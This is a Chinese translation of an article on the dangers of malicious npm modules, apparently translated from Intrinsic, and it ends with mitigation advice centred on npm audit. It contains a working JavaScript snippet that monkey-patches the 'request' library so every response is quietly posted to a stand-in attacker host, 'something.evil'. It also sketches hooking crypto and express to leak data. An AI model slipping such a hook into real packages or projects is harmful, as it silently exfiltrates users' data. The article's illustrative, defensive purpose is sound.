根據(jù)最近npm的一項(xiàng)安全性調(diào)查顯示,77%的受訪者對(duì)OSS/第三方代碼的安全性表示擔(dān)憂。本文將介紹關(guān)于這方面的內(nèi)容,通過(guò)第三方代碼引入應(yīng)用程序的安全漏洞。具體來(lái)說(shuō),我們考慮被惡意引入的漏洞的場(chǎng)景。
我應(yīng)該擔(dān)心第三方模塊嗎?
你可能疑惑的第一件事是,是否需要擔(dān)心惡意模塊?程序員是一群非常友好的人,我們?yōu)槭裁匆獞岩伤麄儼l(fā)布的模塊呢?而且,如果npm上的每個(gè)包都是開(kāi)源的,那么肯定有大量的眼睛來(lái)跟蹤每一行代碼,不是嗎?此外,我只有幾個(gè)模塊,能有多少第三方代碼呢?
在探究這些答案之前,讓我們先看看這篇文章:“我正在從你的站點(diǎn)獲取信用卡號(hào)碼和密碼,方法在這"。這是一個(gè)虛構(gòu)的故事,講的是npm上的Node.js模塊的作者,該模塊能夠偷偷地從網(wǎng)站上盜取信用卡。故事詳細(xì)介紹了隱藏這些活動(dòng)的各種方法。例如,代碼從來(lái)不會(huì)在localhost環(huán)境上運(yùn)行,它從來(lái)不會(huì)在開(kāi)發(fā)控制臺(tái)打開(kāi)時(shí)運(yùn)行,它只在很短一段時(shí)間內(nèi)運(yùn)行,并且發(fā)布到npm的代碼被混淆了,并且與在GitHub上公開(kāi)托管的代碼不同。雖然這個(gè)故事是虛構(gòu)的,但它所描述的技術(shù)方法是完全可行的。
當(dāng)然,那只是一個(gè)虛構(gòu)的故事。現(xiàn)實(shí)真的有這樣的例子嗎?npm最近發(fā)布了這篇文章:“惡意模塊報(bào)告:getcookies”。本文介紹了一個(gè)實(shí)際情況,文中描述的模塊被發(fā)布并成為其他模塊的依賴項(xiàng)。當(dāng)接收到精心設(shè)計(jì)的頭信息時(shí),將觸發(fā)此惡意模塊,然后執(zhí)行請(qǐng)求中提供的任意JAVAScript代碼。
getcookies模塊確實(shí)也成為了幾個(gè)模塊的依賴項(xiàng),但理論上這種損害并沒(méi)有被廣泛傳播。您現(xiàn)在可能想知道會(huì)造成多大的破壞,或者攻擊者會(huì)對(duì)npm生態(tài)系統(tǒng)產(chǎn)生多大的影響。在“收集弱npm憑證”這篇文章中,一位安全研究人員描述了他如何獲取npm用戶帳戶憑證(從而獲得發(fā)布權(quán)),這些帳戶占整個(gè)npm包生態(tài)系統(tǒng)的14%。這是通過(guò)從許多可用的憑據(jù)泄漏和強(qiáng)制使用弱密碼收集憑據(jù)來(lái)實(shí)現(xiàn)的。由于這些包是其他包的依賴項(xiàng),研究人員能夠瞬時(shí)影響54%的整個(gè)npm生態(tài)系統(tǒng)!如果研究人員發(fā)布了他所控制的每個(gè)包的補(bǔ)丁版本,然后運(yùn)行一個(gè)npm install,其中包含54%包中的任意一個(gè)包的依賴樹(shù),就會(huì)執(zhí)行研究人員的代碼。
更為嚴(yán)重的是,即使是善意的包作者也可能成為網(wǎng)絡(luò)釣魚(yú)和密碼泄漏的受害者。為了防止以上問(wèn)題的出現(xiàn),npm確實(shí)為其服務(wù)增加了雙因子認(rèn)證 (2FA)。然而,即使添加了2FA,托管在npm上的包也不一定是全部啟用的。2FA是可選的,不太可能所有的npm包作者都啟用它。雖然2FA更安全,但許多2FA方法也容易受到釣魚(yú)攻擊。
當(dāng)然,模塊作者更有可能意外地向模塊添加漏洞,而不是故意這樣做。學(xué)者們發(fā)現(xiàn)Node.js模塊中存在大量注入漏洞,這可能會(huì)使您的應(yīng)用程序變得脆弱。我們才真正開(kāi)始關(guān)注這方面的研究,隨著生態(tài)系統(tǒng)和Node.js開(kāi)發(fā)人員數(shù)量的增加,針對(duì)npm模塊的攻擊只會(huì)變得越來(lái)越有利可圖。
我使用了多少第三方代碼?
如果讓你預(yù)估你的代碼庫(kù)中有多少是應(yīng)用程序代碼,有多少是第三方代碼?現(xiàn)在你應(yīng)該得到一個(gè)數(shù)字,接下來(lái)在應(yīng)用程序中運(yùn)行以下命令。該命令計(jì)算應(yīng)用程序中的代碼行數(shù),并將其與node_modules目錄中的代碼行數(shù)進(jìn)行比較。
npx @intrinsic/loc 復(fù)制代碼
這個(gè)命令的輸出可能有點(diǎn)令人驚訝。對(duì)于一個(gè)擁有數(shù)千行應(yīng)用程序代碼的項(xiàng)目來(lái)說(shuō),擁有超過(guò)100萬(wàn)行的第三方代碼是很常見(jiàn)的。
到底能造成多大的傷害?
現(xiàn)在你可能想知道到底會(huì)造成什么樣的傷害。例如,如果您的應(yīng)用程序依賴于模塊A,而模塊A又依賴于模塊B,最后依賴于模塊C,那么我們將一些重要數(shù)據(jù)傳遞給模塊C的幾率有多大呢?
為了讓惡意包造成破壞,不管它在require層次結(jié)構(gòu)中有多深,甚至不管它是否直接傳遞敏感數(shù)據(jù)。重要的是代碼被require了。下面是一個(gè)惡意模塊如何修改全局request的例子,它很難被檢測(cè)到,并且會(huì)影響整個(gè)應(yīng)用程序:
{
// Require the popular `request` module
const request = require('request')
// Monkey-patch so every request now runs our function
const RequestOrig = request.Request
request.Request = (options) => {
const origCallback = options.callback
// Any outbound request will be mirrored to something.evil
options.callback = (err, httpResponse, body) => {
const rawReq = require('http').request({
hostname: 'something.evil',
port: 8000,
method: 'POST'
})
// Failed requests are silent
rawReq.on('error', () => {})
rawReq.write(JSON.stringify(body, null, 2))
rawReq.end()
// The original request is still made and handled
origCallback.Apply(this, arguments)
}
if (new.target) {
return Reflect.construct(RequestOrig, [options])
} else {
return RequestOrig(options)
}
};
}
復(fù)制代碼
這個(gè)代碼示例(如果包含在Node.js進(jìn)程所需的任何模塊中)將攔截通過(guò)請(qǐng)求庫(kù)發(fā)出的所有請(qǐng)求,并將響應(yīng)發(fā)送到攻擊者的服務(wù)器。
現(xiàn)在想象一下,如果我們把這個(gè)模塊修改得更邪惡。例如,它甚至可以修補(bǔ)內(nèi)部加密模塊提供的方法。這可以用來(lái)將進(jìn)程加密的任何字符串發(fā)送給第三方。這將影響將密碼作為依賴項(xiàng)的其他模塊,例如數(shù)據(jù)庫(kù)模塊在散列密碼時(shí)執(zhí)行auth或bcrypt模塊。
模塊還可以對(duì)express模塊進(jìn)行補(bǔ)丁,并創(chuàng)建一個(gè)中間件,該中間件在每個(gè)傳入請(qǐng)求上運(yùn)行。然后,這些數(shù)據(jù)可以很容易地廣播給攻擊者。
緩解
我們可以做幾件事來(lái)保護(hù)自己免受惡意模塊的攻擊。首先要做的是了解應(yīng)用程序中安裝的模塊數(shù)量。您應(yīng)該始終知道應(yīng)用程序依賴于多少模塊。如果您曾經(jīng)找到兩個(gè)提供相同功能的模塊,請(qǐng)選擇依賴關(guān)系較少的模塊。擁有較少的依賴意味著擁有較小的攻擊面。
一些較大的公司實(shí)際上會(huì)有一個(gè)團(tuán)隊(duì)手工審核每個(gè)軟件包和軟件包的白名單版本,然后允許公司的其他人員使用!考慮到npm上可用的包和發(fā)行版本的數(shù)量,這種方法并不實(shí)際。此外,許多包維護(hù)人員將安全更新作為補(bǔ)丁發(fā)布,這樣用戶就可以獲得自動(dòng)更新,但是如果審查過(guò)程很慢,那么應(yīng)用程序的安全性就會(huì)降低!
npm最近收購(gòu)了NSP并發(fā)布了npm audit。此工具將掃描已安裝的依賴項(xiàng),并將其與包含已知漏洞的模塊/版本的黑名單進(jìn)行比較。運(yùn)行npm install甚至?xí)嬖V您是否存在已知的漏洞。運(yùn)行npm audit fix程序?qū)L試用永久兼容的版本替換易受攻擊的包(如果存在的話)。
這個(gè)工具雖然功能強(qiáng)大,但僅僅是抵御惡意模塊的開(kāi)始。這是一種保守的方法:它取決于已知和報(bào)告的漏洞。它依賴于在開(kāi)發(fā)機(jī)器上運(yùn)行命令的開(kāi)發(fā)人員,查看輸出,將依賴關(guān)系更改為不再需要脆弱模塊,然后再次部署。如果已知某個(gè)漏洞,它將不會(huì)主動(dòng)保護(hù)當(dāng)前部署的服務(wù)。
通常情況下,對(duì)于還沒(méi)有補(bǔ)丁版本的包,npm audit會(huì)發(fā)現(xiàn)問(wèn)題(如截圖中顯示的stringstream包)。例如,模塊A不是經(jīng)常更新,并且它依賴了一個(gè)有漏洞版本的模塊B,然后模塊B的版本被維護(hù)者修復(fù)了,應(yīng)用程序所有者不能簡(jiǎn)單地更新模塊B的版本。另一個(gè)缺點(diǎn)是,有時(shí)審計(jì)的結(jié)果是無(wú)法利用的問(wèn)題,例如模塊中的ReDoS漏洞,該漏洞從不接收來(lái)自最終用戶的字符串。讀完這篇文章后,您甚至可能想完全避免使用所有第三方模塊。當(dāng)然,這是完全不切實(shí)際的,因?yàn)樵趎pm上有大量可用的模塊,重新創(chuàng)建它們將是一項(xiàng)昂貴的工作。構(gòu)建Node.js應(yīng)用程序的吸引力來(lái)自于npm上龐大的模塊生態(tài)系統(tǒng),以及我們構(gòu)建可生產(chǎn)應(yīng)用程序的速度。避免第三方模塊違背了這一目的。
記住,一定要注意您已經(jīng)安裝的模塊,注意您的依賴關(guān)系樹(shù),注意具有大量依賴關(guān)系的模塊,并仔細(xì)檢查您正在考慮添加的模塊。這些是防止惡意模塊進(jìn)入依賴關(guān)系樹(shù)的最佳方法。一旦模塊成為依賴項(xiàng),及時(shí)更新它們,因?yàn)檫@是獲得安全補(bǔ)丁的好方法。不幸的是,如果您的應(yīng)用程序的依賴關(guān)系樹(shù)中最終出現(xiàn)了一個(gè)惡意模塊,或者發(fā)現(xiàn)了一個(gè)零日漏洞,那么你也無(wú)能為力。您可以繼續(xù)運(yùn)行npm audit,希望有人報(bào)告易受攻擊的代碼,但即使這樣也意味著您應(yīng)用對(duì)外使用期間易受攻擊。如果您真的希望主動(dòng)地保護(hù)Node.js應(yīng)用程序免受惡意模塊的攻擊,防止惡意的網(wǎng)絡(luò)請(qǐng)求、危險(xiǎn)的文件系統(tǒng)訪問(wèn)和限制子進(jìn)程執(zhí)行,或者您需要使用Intrinsic。
譯者注:前面介紹了那么多,后面的文章話鋒一轉(zhuǎn)介紹了Intrinsic這個(gè)產(chǎn)品,感興趣的朋友異步到他們的官網(wǎng)查看,不再繼續(xù)翻譯。
原文:common node.js attack vectors:the dangers of malicious modules






